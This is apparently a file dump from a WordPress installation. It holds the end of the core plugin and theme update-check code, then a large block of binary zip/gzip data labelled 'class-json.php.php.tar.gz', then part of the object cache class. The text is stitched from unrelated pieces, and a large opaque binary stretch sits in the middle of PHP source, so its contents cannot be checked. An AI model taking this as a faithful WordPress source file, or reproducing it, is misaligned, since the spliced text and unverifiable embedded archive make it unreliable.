$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked ); if ( $time_not_changed && ! $extra_stats ) { $plugin_changed = false; foreach ( $plugins as $file => $p ) { if ( ! isset( $current->checked[ $file ] ) || (string) $current->checked[ $file ] !== (string) $p['Version'] ) { $plugin_changed = true; } } if ( isset( $current->response ) && is_array( $current->response ) ) { foreach ( $current->response as $plugin_file => $update_details ) { if ( ! isset( $plugins[ $plugin_file ] ) ) { $plugin_changed = true; break; } } } // Bail if we've checked recently and if nothing has changed. if ( ! $plugin_changed ) { return; } } // Update last_checked for current to prevent multiple blocking requests if request hangs. $current->last_checked = time(); set_site_transient( 'update_plugins', $current ); $to_send = compact( 'plugins', 'active' ); $locales = array_values( get_available_languages() ); /** * Filters the locales requested for plugin translations. * * @since 3.7.0 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales. * * @param string[] $locales Plugin locales. Default is all available locales of the site. */ $locales = apply_filters( 'plugins_update_check_locales', $locales ); $locales = array_unique( $locales ); if ( $doing_cron ) { $timeout = 30; // 30 seconds. } else { // Three seconds, plus one extra second for every 10 plugins. $timeout = 3 + (int) ( count( $plugins ) / 10 ); } $options = array( 'timeout' => $timeout, 'body' => array( 'plugins' => wp_json_encode( $to_send ), 'translations' => wp_json_encode( $translations ), 'locale' => wp_json_encode( $locales ), 'all' => wp_json_encode( true ), ), 'user-agent' => 'WordPress/' . wp_get_wp_version() . '; ' . home_url( '/' ), ); if ( $extra_stats ) { $options['body']['update_stats'] = wp_json_encode( $extra_stats ); } $url = 'http://api.wordpress.org/plugins/update-check/1.1/'; $http_url = $url; $ssl = wp_http_supports( array( 'ssl' ) ); if ( $ssl ) { $url = set_url_scheme( $url, 'https' ); } $raw_response = wp_remote_post( $url, $options ); if ( $ssl && is_wp_error( $raw_response ) ) { wp_trigger_error( __FUNCTION__, sprintf( /* translators: %s: Support forums URL. */ __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $raw_response = wp_remote_post( $http_url, $options ); } if ( is_wp_error( $raw_response ) || 200 !== wp_remote_retrieve_response_code( $raw_response ) ) { return; } $updates = new stdClass(); $updates->last_checked = time(); $updates->response = array(); $updates->translations = array(); $updates->no_update = array(); foreach ( $plugins as $file => $p ) { $updates->checked[ $file ] = $p['Version']; } $response = json_decode( wp_remote_retrieve_body( $raw_response ), true ); if ( $response && is_array( $response ) ) { $updates->response = $response['plugins']; $updates->translations = $response['translations']; $updates->no_update = $response['no_update']; } // Support updates for any plugins using the `Update URI` header field. foreach ( $plugins as $plugin_file => $plugin_data ) { if ( ! $plugin_data['UpdateURI'] || isset( $updates->response[ $plugin_file ] ) ) { continue; } $hostname = wp_parse_url( sanitize_url( $plugin_data['UpdateURI'] ), PHP_URL_HOST ); /** * Filters the update response for a given plugin hostname. * * The dynamic portion of the hook name, `$hostname`, refers to the hostname * of the URI specified in the `Update URI` header field. * * @since 5.8.0 * * @param array|false $update { * The plugin update data with the latest details. Default false. * * @type string $id Optional. ID of the plugin for update purposes, should be a URI * specified in the `Update URI` header field. * @type string $slug Slug of the plugin. * @type string $version The version of the plugin. * @type string $url The URL for details of the plugin. * @type string $package Optional. The update ZIP for the plugin. * @type string $tested Optional. The version of WordPress the plugin is tested against. * @type string $requires_php Optional. The version of PHP which the plugin requires. * @type bool $autoupdate Optional. Whether the plugin should automatically update. * @type string[] $icons Optional. Array of plugin icons. * @type string[] $banners Optional. Array of plugin banners. * @type string[] $banners_rtl Optional. Array of plugin RTL banners. * @type array $translations { * Optional. List of translation updates for the plugin. * * @type string $language The language the translation update is for. * @type string $version The version of the plugin this translation is for. * This is not the version of the language file. * @type string $updated The update timestamp of the translation file. * Should be a date in the `YYYY-MM-DD HH:MM:SS` format. * @type string $package The ZIP location containing the translation update. * @type string $autoupdate Whether the translation should be automatically installed. * } * } * @param array $plugin_data Plugin headers. * @param string $plugin_file Plugin filename. * @param string[] $locales Installed locales to look up translations for. */ $update = apply_filters( "update_plugins_{$hostname}", false, $plugin_data, $plugin_file, $locales ); if ( ! $update ) { continue; } $update = (object) $update; // Is it valid? We require at least a version. if ( ! isset( $update->version ) ) { continue; } // These should remain constant. $update->id = $plugin_data['UpdateURI']; $update->plugin = $plugin_file; // WordPress needs the version field specified as 'new_version'. if ( ! isset( $update->new_version ) ) { $update->new_version = $update->version; } // Handle any translation updates. if ( ! empty( $update->translations ) ) { foreach ( $update->translations as $translation ) { if ( isset( $translation['language'], $translation['package'] ) ) { $translation['type'] = 'plugin'; $translation['slug'] = isset( $update->slug ) ? $update->slug : $update->id; $updates->translations[] = $translation; } } } unset( $updates->no_update[ $plugin_file ], $updates->response[ $plugin_file ] ); if ( version_compare( $update->new_version, $plugin_data['Version'], '>' ) ) { $updates->response[ $plugin_file ] = $update; } else { $updates->no_update[ $plugin_file ] = $update; } } $sanitize_plugin_update_payload = static function ( &$item ) { $item = (object) $item; unset( $item->translations, $item->compatibility ); return $item; }; array_walk( $updates->response, $sanitize_plugin_update_payload ); array_walk( $updates->no_update, $sanitize_plugin_update_payload ); set_site_transient( 'update_plugins', $updates ); } /** * Checks for available updates to themes based on the latest versions hosted on WordPress.org. * * Despite its name this function does not actually perform any updates, it only checks for available updates. * * A list of all themes installed is sent to api.wordpress.org, along with the site locale. * * Checks against the WordPress server at api.wordpress.org. Will only check * if WordPress isn't installing. * * @since 2.7.0 * * @global string $wp_version The WordPress version string. * * @param array $extra_stats Extra statistics to report to the WordPress.org API. */ function wp_update_themes( $extra_stats = array() ) { if ( wp_installing() ) { return; } $installed_themes = wp_get_themes(); $translations = wp_get_installed_translations( 'themes' ); $last_update = get_site_transient( 'update_themes' ); if ( ! is_object( $last_update ) ) { $last_update = new stdClass(); } $themes = array(); $checked = array(); $request = array(); // Put slug of active theme into request. $request['active'] = get_option( 'stylesheet' ); foreach ( $installed_themes as $theme ) { $checked[ $theme->get_stylesheet() ] = $theme->get( 'Version' ); $themes[ $theme->get_stylesheet() ] = array( 'Name' => $theme->get( 'Name' ), 'Title' => $theme->get( 'Name' ), 'Version' => $theme->get( 'Version' ), 'Author' => $theme->get( 'Author' ), 'Author URI' => $theme->get( 'AuthorURI' ), 'UpdateURI' => $theme->get( 'UpdateURI' ), 'Template' => $theme->get_template(), 'Stylesheet' => $theme->get_stylesheet(), ); } $doing_cron = wp_doing_cron(); // Check for update on a different schedule, depending on the page. switch ( current_filter() ) { case 'upgrader_process_complete': $timeout = 0; break; case 'load-update-core.php': $timeout = MINUTE_IN_SECONDS; break; case 'load-themes.php': case 'load-update.php': $timeout = HOUR_IN_SECONDS; break; default: if ( $doing_cron ) { $timeout = 2 * HOUR_IN_SECONDS; } else { $timeout = 12 * HOUR_IN_SECONDS; } } $time_not_changed = isset( $last_update->last_checked ) && $timeout > ( time() - $last_update->last_checked ); if ( $time_not_changed && ! $extra_stats ) { $theme_changed = false; foreach ( $checked as $slug => $v ) { if ( ! isset( $last_update->checked[ $slug ] ) || (string) $last_update->checked[ $slug ] !== (string) $v ) { $theme_changed = true; } } if ( isset( $last_update->response ) && is_array( $last_update->response ) ) { foreach ( $last_update->response as $slug => $update_details ) { if ( ! isset( $checked[ $slug ] ) ) { $theme_changed = true; break; } } } // Bail if we've checked recently and if nothing has changed. if ( ! $theme_changed ) { return; } } // Update last_checked for current to prevent multiple blocking requests if request hangs. $last_update->last_checked = time(); set_site_transient( 'update_themes', $last_update ); $request['themes'] = $themes; $locales = array_values( get_available_languages() ); /** * Filters the locales requested for theme translations. * * @since 3.7.0 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales. * * @param string[] $locales Theme locales. Default is all available locales of the site. */ $locales = apply_filters( 'themes_update_check_locales', $locales ); $locales = array_unique( $locales ); if ( $doing_cron ) { $timeout = 30; // 30 seconds. } else { // Three seconds, plus one extra second for every 10 themes. $timeout = 3 + (int) ( count( $themes ) / 10 ); } $options = array( 'timeout' => $timeout, 'body' => array( 'themes' => wp_json_encode( $request ), 'translations' => wp_json_encode( $translations ), 'locale' => wp_json_encode( $locales ), ), 'user-agent' => 'WordPress/' . wp_get_wp_version() . '; ' . home_url( '/' ), ); if ( $extra_stats ) { $options['body']['update_stats'] = wp_json_encode( $extra_stats ); } $url = 'http://api.wordpress.org/themes/update-check/1.1/'; $http_url = $url; $ssl = wp_http_supports( array( 'ssl' ) ); if ( $ssl ) { $url = set_url_scheme( $url, 'https' ); } $raw_response = wp_remote_post( $url, $options ); if ( $ssl && is_wp_error( $raw_response ) ) { wp_trigger_error( __FUNCTION__, sprintf( /* translators: %s: Support forums URL. */ __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $raw_response = wp_remote_post( $http_url, $options ); } if ( is_wp_error( $raw_response ) || 200 !== wp_remote_retrieve_response_code( $raw_response ) ) { return; } $new_update = new stdClass(); $new_update->last_checked = time(); $new_update->checked = $checked; $response = json_decode( wp_remote_retrieve_body( $raw_response ), true ); if ( is_array( $response ) ) { $new_update->response = $response['themes']; $new_update->no_update = $response['no_update']; $new_update->translations = $response['translations']; } // Support updates for any themes using the `Update URI` header field. foreach ( $themes as $theme_stylesheet => $theme_data ) { if ( ! $theme_data['UpdateURI'] || isset( $new_update->response[ $theme_stylesheet ] ) ) { continue; } $hostname = wp_parse_url( sanitize_url( $theme_data['UpdateURI'] ), PHP_URL_HOST ); /** * Filters the update response for a given theme hostname. * * The dynamic portion of the hook name, `$hostname`, refers to the hostname * of the URI specified in the `Update URI` header field. * * @since 6.1.0 * * @param array|false $update { * The theme update data with the latest details. Default false. * * @type string $id Optional. ID of the theme for update purposes, should be a URI * specified in the `Update URI` header field. * @type string $theme Directory name of the theme. * @type string $version The version of the theme. * @type string $url The URL for details of the theme. * @type string $package Optional. The update ZIP for the theme. * @type string $tested Optional. The version of WordPress the theme is tested against. * @type string $requires_php Optional. The version of PHP which the theme requires. * @type bool $autoupdate Optional. Whether the theme should automatically update. * @type array $translations { * Optional. List of translation updates for the theme. * * @type string $language The language the translation update is for. * @type string $version The version of the theme this translation is for. * This is not the version of the language file. * @type string $updated The update timestamp of the translation file. * Should be a date in the `YYYY-MM-DD HH:MM:SS` format. * @type string $package The ZIP location containing the translation update. * @type string $autoupdate Whether the translation should be automatically installed. * } * } * @param array $theme_data Theme headers. * @param string $theme_stylesheet Theme stylesheet. * @param string[] $locales Installed locales to look up translations for. */ $update = apply_filters( "update_themes_{$hostname}", false, $theme_data, $theme_stylesheet, $locales ); if ( ! $update ) { continue; } $update = (object) $update; // Is it valid? We require at least a version. if ( ! isset( $update->version ) ) { continue; } // This should remain constant. $update->id = $theme_data['UpdateURI']; // WordPress needs the version field specified as 'new_version'. if ( ! isset( $update->new_version ) ) { $update->new_version = $update->version; } // Handle any translation updates. if ( ! empty( $update->translations ) ) { foreach ( $update->translations as $translation ) { if ( isset( $translation['language'], $translation['package'] ) ) { $translation['type'] = 'theme'; $translation['slug'] = isset( $update->theme ) ? $update->theme : $update->id; $new_update->translations[] = $translation; } } } unset( $new_update->no_update[ $theme_stylesheet ], $new_update->response[ $theme_stylesheet ] ); if ( version_compare( $update->new_version, $theme_data['Version'], '>' ) ) { $new_update->response[ $theme_stylesheet ] = (array) $update; } else { $new_update->no_update[ $theme_stylesheet ] = (array) $update; } } set_site_transient( 'update_themes', $new_update ); } /** * Performs WordPress automatic background updates. * * Updates WordPress core plus any plugins and themes that have automatic updates enabled. * * @since 3.7.0 */ function wp_maybe_auto_update() { require_once ABSPATH . 'wp-admin/includes/admin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new WP_Automatic_Updater(); $upgrader->run(); } /** * Retrieves a list of all language updates available. * * @since 3.7.0 * * @return object[] Array of translation objects that have available updates. */ function wp_get_translation_updates() { $updates = array(); $transients = array( 'update_core' => 'core', 'update_plugins' => 'plugin', 'update_themes' => 'theme', ); foreach ( $transients as $transient => $type ) { $transient = get_site_transient( $transient ); if ( empty( $transient->translations ) ) { continue; } foreach ( $transient->translations as $translation ) { $updates[] = (object) $translation; } } return $updates; } /** * Collects counts and UI strings for available updates. * * @since 3.3.0 * * @return array { * Fetched update data. * * @type int[] $counts An array of counts for available plugin, theme, and WordPress updates. * @type string $update_title Titles of available updates. * } */ function wp_get_update_data() { $counts = array( 'plugins' => 0, 'themes' => 0, 'wordpress' => 0, 'translations' => 0, ); $plugins = current_user_can( 'update_plugins' ); if ( $plugins ) { $update_plugins = get_site_transient( 'update_plugins' ); if ( ! empty( $update_plugins->response ) ) { $counts['plugins'] = count( $update_plugins->response ); } } $themes = current_user_can( 'update_themes' ); if ( $themes ) { $update_themes = get_site_transient( 'update_themes' ); if ( ! empty( $update_themes->response ) ) { $counts['themes'] = count( $update_themes->response ); } } $core = current_user_can( 'update_core' ); if ( $core && function_exists( 'get_core_updates' ) ) { $update_wordpress = get_core_updates( array( 'dismissed' => false ) ); if ( ! empty( $update_wordpress ) && ! in_array( $update_wordpress[0]->response, array( 'development', 'latest' ), true ) && current_user_can( 'update_core' ) ) { $counts['wordpress'] = 1; } } if ( ( $core || $plugins || $themes ) && wp_get_translation_updates() ) { $counts['translations'] = 1; } $counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'] + $counts['translations']; $titles = array(); if ( $counts['wordpress'] ) { /* translators: %d: Number of available WordPress updates. */ $titles['wordpress'] = sprintf( __( '%d WordPress Update' ), $counts['wordpress'] ); } if ( $counts['plugins'] ) { /* translators: %d: Number of available plugin updates. */ $titles['plugins'] = sprintf( _n( '%d Plugin Update', '%d Plugin Updates', $counts['plugins'] ), $counts['plugins'] ); } if ( $counts['themes'] ) { /* translators: %d: Number of available theme updates. */ $titles['themes'] = sprintf( _n( '%d Theme Update', '%d Theme Updates', $counts['themes'] ), $counts['themes'] ); } if ( $counts['translations'] ) { $titles['translations'] = __( 'Translation Updates' ); } $update_title = $titles ? esc_attr( implode( ', ', $titles ) ) : ''; $update_data = array( 'counts' => $counts, 'title' => $update_title, ); /** * Filters the returned array of update data for plugins, themes, and WordPress core. * * @since 3.5.0 * * @param array $update_data { * Fetched update data. * * @type int[] $counts An array of counts for available plugin, theme, and WordPress updates. * @type string $update_title Titles of available updates. * } * @param array $titles An array of update counts and UI strings for available updates. */ return apply_filters( 'wp_get_update_data', $update_data, $titles ); } /** * Determines whether core should be updated. * * @since 2.8.0 */ function _maybe_update_core() { $current = get_site_transient( 'update_core' ); if ( isset( $current->last_checked, $current->version_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) && wp_get_wp_version() === $current->version_checked ) { return; } wp_version_check(); } /** * Checks the last time plugins were run before checking plugin versions. * * This might have been backported to WordPress 2.6.1 for performance reasons. * This is used for the wp-admin to check only so often instead of every page * load. * * @since 2.7.0 * @access private */ function _maybe_update_plugins() { $current = get_site_transient( 'update_plugins' ); if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) ) { return; } wp_update_plugins(); } /** * Checks themes versions only after a duration of time. * * This is for performance reasons to make sure that on the theme version * checker is not run on every page load. * * @since 2.7.0 * @access private */ function _maybe_update_themes() { $current = get_site_transient( 'update_themes' ); if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) ) { return; } wp_update_themes(); } /** * Schedules core, theme, and plugin update checks. * * @since 3.1.0 */ function wp_schedule_update_checks() { if ( ! wp_next_scheduled( 'wp_version_check' ) && ! wp_installing() ) { wp_schedule_event( time(), 'twicedaily', 'wp_version_check' ); } if ( ! wp_next_scheduled( 'wp_update_plugins' ) && ! wp_installing() ) { wp_schedule_event( time(), 'twicedaily', 'wp_update_plugins' ); } if ( ! wp_next_scheduled( 'wp_update_themes' ) && ! wp_installing() ) { wp_schedule_event( time(), 'twicedaily', 'wp_update_themes' ); } } /** * Clears existing update caches for plugins, themes, and core. * * @since 4.1.0 */ function wp_clean_update_cache() { if ( function_exists( 'wp_clean_plugins_cache' ) ) { wp_clean_plugins_cache(); } else { delete_site_transient( 'update_plugins' ); } wp_clean_themes_cache(); delete_site_transient( 'update_core' ); } /** * Schedules the removal of all contents in the temporary backup directory. * * @since 6.3.0 */ function wp_delete_all_temp_backups() { /* * Check if there is a lock, or if currently performing an Ajax request, * in which case there is a chance an update is running. * Reschedule for an hour from now and exit early. */ if ( get_option( 'core_updater.lock' ) || get_option( 'auto_updater.lock' ) || wp_doing_ajax() ) { wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_delete_temp_updater_backups' ); return; } // This action runs on shutdown to make sure there are no plugin updates currently running. add_action( 'shutdown', '_wp_delete_all_temp_backups' ); } /** * Deletes all contents in the temporary backup directory. * * @since 6.3.0 * * @access private * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. */ function _wp_delete_all_temp_backups() { global $wp_filesystem; if ( ! function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } ob_start(); $credentials = request_filesystem_credentials( '' ); ob_end_clean(); if ( false === $credentials || ! WP_Filesystem( $credentials ) ) { wp_trigger_error( __FUNCTION__, __( 'Could not access filesystem.' ) ); return; } if ( ! $wp_filesystem->wp_content_dir() ) { wp_trigger_error( __FUNCTION__, /* translators: %s: Directory name. */ sprintf( __( 'Unable to locate WordPress content directory (%s).' ), 'wp-content' ) ); return; } $temp_backup_dir = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/'; $dirlist = $wp_filesystem->dirlist( $temp_backup_dir ); $dirlist = $dirlist ? $dirlist : array(); foreach ( array_keys( $dirlist ) as $dir ) { if ( '.' === $dir || '..' === $dir ) { continue; } $wp_filesystem->delete( $temp_backup_dir . $dir, true ); } } if ( ( ! is_main_site() && ! is_network_admin() ) || wp_doing_ajax() ) { return; } add_action( 'admin_init', '_maybe_update_core' ); add_action( 'wp_version_check', 'wp_version_check' ); add_action( 'load-plugins.php', 'wp_update_plugins' ); add_action( 'load-update.php', 'wp_update_plugins' ); add_action( 'load-update-core.php', 'wp_update_plugins' ); add_action( 'admin_init', '_maybe_update_plugins' ); add_action( 'wp_update_plugins', 'wp_update_plugins' ); add_action( 'load-themes.php', 'wp_update_themes' ); add_action( 'load-update.php', 'wp_update_themes' ); add_action( 'load-update-core.php', 'wp_update_themes' ); add_action( 'admin_init', '_maybe_update_themes' ); add_action( 'wp_update_themes', 'wp_update_themes' ); add_action( 'update_option_WPLANG', 'wp_clean_update_cache', 10, 0 ); add_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' ); add_action( 'init', 'wp_schedule_update_checks' ); add_action( 'wp_delete_temp_updater_backups', 'wp_delete_all_temp_backups' ); PK $[v1"1"class-json.php.php.tar.gznu[=kcH9 0Nx8Oslye4XIxfrq8 ݏj17CcfL/qn&%Y>6{y=.OF.(wvW[϶ʳ/Tb2|Å.ϰX ;:1|tNL{V.W4G=c7uz{۞̘\1 ?ybξa$O|OgZ7f{{O67؍9cİe;́?38?imlB'l|6pwc/C%G7Fv=8>ѱ 8*Yp8e}7@E|F=Fe sûGl46rO\籊c72m!,=1\S!k[ m0oE9[C@g3tشC^d-@nkJ[Ϸ6~8RVb]˗/B=>.g=vH4D0n>ps:P0Pî|}c3@Cddb=#DYB–@Y{>FPE 8L힀TQx `i=,/U4 LrX ; F}0P=^Р#"\d:i!t@TX2șZ} c:h JodF~Ҫ&$iXIx un.];}s Q$~ML2j,g&&ޣvc/"EZ%A61Mo] :u0gF+G:`"c(@W!*(`l)1@JEc}7Ef(mWҀz` d&HhFNڿ4 >5OnٿuЂNX׳fbMxwvܨ"h<8i7"kԎ'?ٛ6;9mlk\ ۺjjNλzi7ڿQG x]fQ;?>hiFv|xW?sNNYIIN-(9 0F^k#0zoEm*O0}ND qYV>oODV3(e{v|j! xުuP9o5Pv@xkJuUqH6vz^cۏ`;k]z} 7&䁳썲:}| vNs©0k[߸&ؠYD8=+DL&Ӈ@| 2G bz/ۧuO@FxAi>A<`;`8KU]יy"Z!u[]80t W+g"ۢGhl[})-}1k1E}]V-a4ckZq _+^T[񏵫vbjN0&$'4<bF1P5m+t=a{F5U@٦"1MTyY0$dP62GW3jW?*?.NMg2a m DesH㮘1q۽S5B^dq2(CƎjсs=ߓ: )"D<_c=15/g yc$${T%{q,n%B@ 8r )6(4ǐa8 *kk̻){iu<g ʑz!JʢT1[erEK>=Or"3QF⊂=t^Q)n B< PÌ*D*!-l`}|bݖl+ A,+7JM 4Td,EkKa 4݅Т ޵a^җSt! !C<hBoҖ40v ZI݇?2IJ4 qkPôUq+FiZS\ ux[P . ;w5xD91Z(Xf&-~KDdN7uaOYx]}VaBBQwȦ&⧇Nx#sCg(Tz-z^q᧐ B"KX/tqz {ŝg;s'H&dfZ!DCM=HCY1r aC"1ĶBA1W&Z ZERt!_$8X8 q9X?pNG$nC6EzwoY@qE6o@X LN$p(Z,q [²A [B``a=_srFax3SQm͡.}$s3b02p&ߧ93IX-Hz%ԔC̉P}4B6{>/_T +[`Uxb"Ez8F]qľ]-iGJ-q Lm4N;#+vz0Fb\Y1.zgiqMy䏭oa$I]SqWW^%D̎9H-r 3à4mswҐoD:-2dw/YYӒ]~WR-ыUP_ECJ2[٦vQHpNe}+/.&`H ph[xk.m1\i)yIW;(xw )8TTkEUf R+SbC._) b녭'y N}䩬` }y怶 lv|.|zhX33b_ 8I;o}+;&ǍE7\-P b@^bQL'!?N !n|5>ZMlsڷ0;vʻ)0>=c VWV-u.Wfk#7JllZ3cZ@u_~ZG}[} 1waqNg2eYzlO qsrlԊYL"\ x -h$w0 5?vzX"[3ǽFff|_- "q_P҇銾'.->Pi=Q -iʢu:$͞ZVrCLer75 Kb O1tL $@vO~j!g8G$.iSiA;fz &RM"?E2!0‚067b`6Xç\"f`p;sRQZsg<0';bw99j6cr*3Ux߳O{(sua6|X]%ҍp!懡n\ "^vKuz_?JX`nptϖSpEa &ΥVVT(^Ӱ+w,>qTH\_`=v^1xXl|rSdkȸSkFዣ#<]j+e1b`zirY&[p!OY5Tq.?,V,K,f S6 曳m)elLrA"^~!v9{eܻ5!%V#%e2/ikei)QwC =z-Kc z㭜ڳ_J9ʩ=+k=ՐE՞(OLwVnS˗w5wwԶBѢ~HmgeYwzr۝:_֕2tVj³5 18 0B_'ו>˩KsB5,*M'$.xx[܋0ٷb][q[Prc$Lc9L• ]~ y-. \7}̺eg2h3Tz'Meh@R1W1nEg`JWPx]a﹇xSxߡ:L&"E)I 'AХo / 45 0,rtYb6B09/0"dHm"Յeevnן֟d*$H>Q4́&F`&%[}Om͡biGӞlc)mBcR/-Iમ?0-^g3-)Q8 >:&wLU;(L7=\Rdwbn%t@t="jw1P\)]RY!92U.Kmf~#9<,wǴu|A%@ 29]9;,aeSY!5)s5Ke3Zf1E1DӼv5U:ී7 ,{qۂAeNBRI `DKJ@W4ԅvS2Ǧǣ*tH2 p3dO] 䭉dPvq`Yw&JŐx-E@4RbQGJ2شpaDTKj:&lbd:$O qYHڒ8VU'!(nЀh̐6bt8 rUzwn^\IAsw29b$}5SQ3t~F 4_ /|0wb H̰) R ݎ+/~+orImD[zb 1cN8PӨ&0psAx5s;霣GWHIJiQ!z+XfA>INpWȴ,haŔ?µͼ.XRrA pQ]N7i[N;7ta"M_^0-WOPAlM}׺"EI_s!c81#X_ .4 :wD:X\O,@\xW&aomhjP\.kt;B^~ZXvBۥN6 `Ft6Q1 rcsA>yπ: @̏&.͝BE+=%|V`D4ePtݨ܊GXR}FY3/$x9 :7C,2=u$ LI^dVB %o3eZ7eI6%*CE/OYu˺D0WCbC >82|tm_Z_V 뛞t wLKVݭ3tYP1zyR?ĔL,}tM\nW(Tt]xbވUڐ.SINF|3VS[Ւ7 wzO^4OʓoY2X&`1E*L9'PWs.Y‚{#'-g{RZ2>+^LpOJd\C*kKj{ݧ=o根؝fuC[JRPB0״ k[ȇ0%yCXra-1^ibTꉞ/K‚;P4/RzC_-jш9.Ne K9/ 8騅 Es{Z07pO?; X.$@P#Eicܧ{BX+2>K'vn͑Fv&zVb_$OƄLȑt&̳;Va=<$OƄg#L_ =.~2&$QNmt.xT }"*riNBx B5MDk*)~Z]"EyI"/!Z|ȀK0ZwaU$j q"BrAh~, %s򁊽'1v|P`1Rb3KUouY zǓˠ]C"', 4}L-XYGa}(]K.P< /Na`NpLM)^mj Mi0L*y1qKΪ O16Y|d}tE&**t~lh(Fl 2`{/*ڂށ9ȯE(BGZ/Vw'@i/|ȫ:DUT'>ZGszdI:񥩐LBɴ}o-Z=})]ђd`c3Wak\I-3 G{poG;jKKRe1J.q"aǰwڣ5l|.ap~lw;|sLp-ݮ3,n)IsAw h[V0둒gtoEpÍl*v@LO^!Jū ʅ7v{c{K`%.+̗ \Ѥp-VͰztѢ=G)+XNz)=4T<VI%P-lzFp XW9Y54n*&3)d'j:, \>ݱ.9uh / c؜ Ŕ"Bp7~hIY$>)# >8}Tx}jVi(IQ"CT2%@hm7†Set# qcf < E < 竴>$1"Nн>ג ejSEk/yj}j1;YL{DcXsooήrE19!S^smultisite = is_multisite(); $this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : ''; } /** * Makes private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { return $this->$name; } /** * Makes private properties settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to set. * @param mixed $value Property value. */ public function __set( $name, $value ) { $this->$name = $value; } /** * Makes private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { return isset( $this->$name ); } /** * Makes private properties un-settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to unset. */ public function __unset( $name ) { unset( $this->$name ); } /** * Serves as a utility function to determine whether a key is valid. * * @since 6.1.0 * * @param int|string $key Cache key to check for validity. * @return bool Whether the key is valid. */ protected function is_valid_key( $key ) { if ( is_int( $key ) ) { return true; } if ( is_string( $key ) && trim( $key ) !== '' ) { return true; } $type = gettype( $key ); if ( ! function_exists( '__' ) ) { wp_load_translations_early(); } $message = is_string( $key ) ? __( 'Cache key must not be an empty string.' ) /* translators: %s: The type of the given cache key. */ : sprintf( __( 'Cache key must be an integer or a non-empty string, %s given.' ), $type ); _doing_it_wrong( sprintf( '%s::%s', __CLASS__, debug_backtrace( DEBUG_BACKTRACE_IGNORE_ARGS, 2 )[1]['function'] ), $message, '6.1.0' ); return false; } /** * Serves as a utility function to determine whether a key exists in the cache. * * @since 3.4.0 * * @param int|string $key Cache key to check for existence. * @param string $group Cache group for the key existence check. * @return bool Whether the key exists in the cache for the given group. */ protected function _exists( $key, $group ) { return isset( $this->cache[ $group ] ) && ( isset( $this->cache[ $group ][ $key ] ) || array_key_exists( $key, $this->cache[ $group ] ) ); } /** * Adds data to the cache if it doesn't already exist. * * @since 2.0.0 * * @uses WP_Object_Cache::_exists() Checks to see if the cache already has data. * @uses WP_Object_Cache::set() Sets the data after the checking the cache * contents existence. * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false if cache key and group already exist. */ public function add( $key, $data, $group = 'default', $expire = 0 ) { if ( wp_suspend_cache_addition() ) { return false; } if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $key; if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $id = $this->blog_prefix . $key; } if ( $this->_exists( $id, $group ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 6.0.0 * * @param array $data Array of keys and values to be added. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ public function add_multiple( array $data, $group = '', $expire = 0 ) { $values = array(); foreach ( $data as $key => $value ) { $values[ $key ] = $this->add( $key, $value, $group, $expire ); } return $values; } /** * Replaces the contents in the cache, if contents already exist. * * @since 2.0.0 * * @see WP_Object_Cache::set() * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ public function replace( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $key; if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $id = $this->blog_prefix . $key; } if ( ! $this->_exists( $id, $group ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Sets the data contents into the cache. * * The cache contents are grouped by the $group parameter followed by the * $key. This allows for duplicate IDs in unique groups. Therefore, naming of * the group should be used with care and should follow normal function * naming guidelines outside of core WordPress usage. * * The $expire parameter is not used, because the cache will automatically * expire for each time a page is accessed and PHP finishes. The method is * more for cache plugins which use files. * * @since 2.0.0 * @since 6.1.0 Returns false if cache key is invalid. * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 